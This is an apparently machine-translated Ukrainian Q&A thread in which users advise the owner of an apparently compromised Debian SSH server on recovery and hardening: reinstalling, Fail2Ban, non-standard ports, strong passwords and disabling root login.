Якщо припустити, що ви знаходитесь на графіку виконання вашої оплачуваної роботи, принаймні зробіть №1. №3 - це швидко і дешево, але вам доведеться або почекати пакунку поштою, або їхати до магазину.


3
І, перш за все, не залишайте ваш ПК без нагляду з відкритим кореневим сеансом!
MariusMatutiae

11
  1. Чи є debian-armhf ваше ім'я хоста? Або ви використовуєте встановлення за замовчуванням із налаштуваннями за замовчуванням? З цим немає проблем, але ви не повинні дозволяти хосту безпосередньо піддаватися впливу Інтернету (тобто, принаймні, не захищеного вашим модемом).

  2. Схоже, справжня неприємність настає з 222.186.30.209 (див. Http://anti-hacker-alliance.com/index.php?ip=222.186.30.209 ). Не варто приділяти багато уваги перегляду IP-адреси Microsoft. ІР можна більш-менш підробляти / підробляти досить легко.

  3. Звичайний спосіб підключення до Інтернету - це пересилання відомого списку портів з вашого загальнодоступного IP (наприклад, 8.8.8.8) до вашого локального (наприклад, 192.168.1.12).

    • Наприклад, не пересилайте всі вхідні з'єднання з 8.8.8.8 (загальнодоступні) на 192.168.1.12 (локальні).

    • Пересилати лише порти 22 та 25 (ssh та вхідна пошта відповідно). Звичайно, у вас також повинні бути оновлені пакети / бібліотеки ssh та smtp .

  4. Що далі? Вимкніть хост, і змінити паролі (на будь-яких комп'ютерах , пов'язаних з організацією), які жорстко прописані в сценарії оболонки (ганьба вам!) В /etc/shadow.


1. Так, debian-armhf - ім'я хоста. 2. Так, я прочитав цю статтю, і зв’язався з Microsoft через веб-сайт cest.microsoft.com. 3. Я пересилав лише 25 і 22, більше нічого не пересилав. 4. Я зроблю це
Vaid

"IP може бути підробленим більш-менш легко": я не є експертом із безпеки та мережі. Як це можливо?
kevinarpe

@kevinarpe Це, мабуть, набагато краще, як окреме питання.
CVn


2
@Archemar: SSH - це TCP; підробляти IP-код джерела TCP складно, якщо не неможливо. Крім того, як встановлено вище, Microsoft IP належить до їх хмарного сервісу Azure, а це означає, що хтось міг купувати час на службу, щоб атакувати інших.
nneonneo

9

Як заявили інші, цілком очевидно, що безпека вашого сервера була порушена. Найбезпечніше - витерти цю машину та встановити її знову.

Щоб відповісти на другу частину вашого запитання, якщо ви не можете використовувати авторизацію відкритого ключа, рекомендую принаймні встановити Fail2Ban і запустити SSH на нестандартному порту. Я також відключаю доступ до кореневого SSH.

Fail2Ban допоможе пом'якшити жорстокі атаки, заборонивши IP-адреси, які не входять у певну кількість разів.

Налаштування sshd для прослуховування на нестандартному порту принаймні допоможе зменшити видимість вашого SSH-сервера на невеликий біт. Відключення кореневого входу також трохи зменшує профіль атаки. В /etc/sshd_config:

PermitRootLogin no
Port xxxxx

Якщо ви ввімкнено кореневий вхід, вам потрібно буде або перейти на root suпісля того, як ви підключились, або (більш бажано) використовувати sudoдля виконання привілейованих команд.


Я зробив це обоє, дякую за пораду.
дійсно

8

Сервери SSH постійно атакуються в Інтернеті. Кілька справ, які ви робите:

  1. Переконайтеся, що ви використовуєте дуже безпечний випадковий пароль для інтернет-машин. Я маю на увазі, як 16 символів і більше, і абсолютно випадкові. Використовуйте менеджер паролів, щоб не запам'ятовувати його. Якщо ви можете запам'ятати свій пароль, це занадто просто.

  2. Якщо SSH вам не потрібен, вимкніть його. Якщо вам це потрібно, але він не потребує загальнодоступного доступу, запустіть його на високому, нестандартному номері порту. Це значно зменшить спроби злому. Так, спеціалізований хакер може виконати сканування портів, але автоматизовані боти не знайдуть його.

У фрагменті з вашого журналу авторства відображається невдала спроба. Однак якщо ви подивитесь далі, ви, без сумніву, побачите вдалий логін. Тут ви користуєтеся простим паролем, тож бот - це банально.

Вам потрібно ізолювати цю машину від мережі. Дуже обережно дістаньте те, що вам потрібно, і потім протріть його.


7
Коли я запускав ssh на порт 22, у мене зазвичай було тисячі спроб злому на день. Коли я змінив високий номер порту (понад 50000), ці спроби зламати повністю припинилися.
користувач1751825

16 символів недостатньо захищені. Користувальницький вихід також зручний. Просто не робіть це замиканням за перм, не втрачайте термін дії, а зробіть щось на зразок години. Таким чином ви все ще можете отримати доступ до сервера.
Рамхаунд

Зауважте, що крок 2) не є строго необхідним для безпеки, якщо у вас є сильна автентифікація (відкритий ключ або надійний пароль).
user20574

2
@Ramhound Чому б і ні? Навіть якщо це були лише малі літери, 16 малих букв надає 43608742899428874059776 можливостей, що недоцільно для грубої сили, особливо для онлайн-грубої сили, де сервер змушує вас чекати кожного разу, коли ви не вдаєтеся до спроби.
user20574

3
@ user20574. Хоча це і не є суворо необхідним, зменшення видимості служби SSH все ще дуже корисно. Навіть якщо з будь-якої іншої причини, ніж видалити безлад з ваших журналів. Якщо машині потрібно бути доступним лише обмеженій групі людей, то нестандартний порт - цілком розумний крок для підвищення безпеки.
користувач1751825

6

Перше, що кожен / кожен повинен зробити після установки переднього сервера Linux / Unix - це негайно відключити root.

Ваша система була порушена. У вас є журнал запущеної історії, який може бути крутим для перегляду. Але, якщо чесно розкривати конкретику, це трохи прискіпливо і не допоможе вам захистити свій сервер. Він показує всі види дурниць, які трапляються, коли ботнет породжує зловмисне програмне забезпечення, яке, швидше за все, заражає ваш сервер, заражає систему Linux. Відповідь надається @MariusMatutiae красиво і добре продуманий і є інші , які повторюють , що ви були зламані з допомогою rootдоступу, мокра мрія шкідливого / ботнету.

Є кілька пояснень, як відключити, rootале я зазначу з особистого досвіду, більшість всього, що виходить за рамки того, що я зараз опишу, - це надмірність. Це ви повинні зробити під час першого налаштування сервера:

  1. Створення нового користувача з sudoправами: Створіть нового користувача з новим іменем - щось на зразок - cooldudeвикористовуючи команду, наприклад, sudo adduser cooldudeякщо ви використовуєте Ubuntu або інший тип системи Debian. Потім просто вручну відредагуйте sudoфайл, використовуючи таку команду, sudo nano /etc/sudoersі додайте рядок cooldude ALL=(ALL:ALL) ALLпід еквівалентним рядком, який слід читати root ALL=(ALL:ALL) ALL. Зробивши це, увійдіть у систему як cooldudeі протестуйте sudoкоманду з такою командою, як sudo wщось, що є основним та неруйнівним, щоб побачити, чи sudoпрацюють права. Можливо, вам буде запропоновано ввести пароль. Це працює? Все добре! Перейдіть до наступного кроку.
  2. Блокування rootоблікового запису: Гаразд, тепер, коли cooldudeвін відповідає за sudoправа, увійдіть у систему cooldudeта виконайте цю команду, щоб заблокувати кореневий рахунок sudo passwd -l root. Якщо ви якось створили пару ключів SSH для root, відкрийте /root/.ssh/authorized_keysта вийміть ключі. Або ще краще, просто перейменуйте такий файл, authorized_keys_OFFяк цей, sudo mv /root/.ssh/authorized_keys /root/.ssh/authorized_keys_OFFщоб ефективно відключити SSH-ключі. Я вважаю за краще пізніше, тому що, за випадкових випадків, вам все-таки потрібен пароль, який не потребує входу, ви можете просто перенести цей файл назад до оригінального імені, і вам слід добре піти.

FWIW, я керував десятками серверів Linux протягом багатьох років (десятиліть?) І знаю з досвіду, що просто відключення - rootі встановлення нового користувача з sudoправами - це найпростіший і найпростіший спосіб захистити будь-яку систему Linux. Мені ніколи не доводилося стикатися з будь-яким компромісом через SSH, коли він rootбуде відключений. І так, ви можете побачити спроби входу через систему, auth.logале вони безглузді; якщо rootвимкнено, ці спроби ніколи нічого не додадуть. Просто посидьте і спостерігайте, як спроби нескінченно провалюються!

Використовуючи наш веб-сайт, ви визнаєте, що прочитали та зрозуміли наші Політику щодо файлів cookie та Політику конфіденційності.
Licensed under cc by-sa 3.0 with attribution required.